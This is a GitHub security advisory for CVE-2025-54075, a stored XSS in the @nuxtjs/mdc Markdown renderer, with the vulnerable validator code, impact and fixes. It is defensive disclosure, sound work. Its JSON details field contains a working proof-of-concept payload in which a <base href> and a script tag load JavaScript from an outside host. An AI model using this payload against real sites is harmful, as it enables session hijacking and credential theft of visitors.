ghsa-cj6r-rrr9-fg82
Vulnerability from github
Published
2025-07-20 16:36
Modified
2025-07-20 16:36
Summary
Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering
Details

Summary

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

  • Affected file : src/runtime/parser/utils/props.ts
  • Core logic  : validateProp() inspects
  • attributes that start with on → blocked
  • href or src → filtered by isAnchorLinkAllowed()
    Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.

export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } return true // ← “href” on <base> not checked }

As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

```

```

  1. Start the Nuxt app (npm run dev).
  2. Visit the page.
  3. The browser requests https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Impact

  • Type: Stored XSS via remote script inclusion
  • Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
  • Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Recommendations

  1. Disallow or sanitize <base> tags in the renderer. The safest fix is to strip them entirely.
  2. Alternatively, restrict href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin.
  3. Publish a patched release and document the security fix.
  4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with FORBID_TAGS: ['base'].
Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxtjs/mdc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-20T16:36:14Z",
    "nvd_published_at": "2025-07-18T16:15:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element.  \nThe `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site\u2019s context.\n\n### Details\n- **Affected file**\u2003: `src/runtime/parser/utils/props.ts`  \n- **Core logic**\u2003\u2003: `validateProp()` inspects  \n  * attributes that start with `on` \u2192 blocked  \n  * `href` or `src` \u2192 filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `\u003cbase\u003e`) is allowed unchanged, so the malicious `href` on `\u003cbase\u003e` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) =\u003e {\n  if (attribute.startsWith(\u0027on\u0027)) return false\n  if (attribute === \u0027href\u0027 || attribute === \u0027src\u0027) {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // \u2190 \u201chref\u201d on \u003cbase\u003e not checked\n}\n```\n\nAs soon as `\u003cbase href=\"https://vozec.fr\"\u003e` is parsed, any later relative path\u2014`/script.js`, `../img.png`, etc.\u2014is fetched from the attacker\u2019s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n\u003cbase href=\"https://vozec.fr\"\u003e\n\u003cscript src=\"/xss.js\"\u003e\u003c/script\u003e\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site\u2019s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments\u2026).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `\u003cbase\u003e` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `\u003cbase\u003e` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: [\u0027base\u0027]`.",
  "id": "GHSA-cj6r-rrr9-fg82",
  "modified": "2025-07-20T16:36:14Z",
  "published": "2025-07-20T16:36:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54075"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt-modules/mdc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…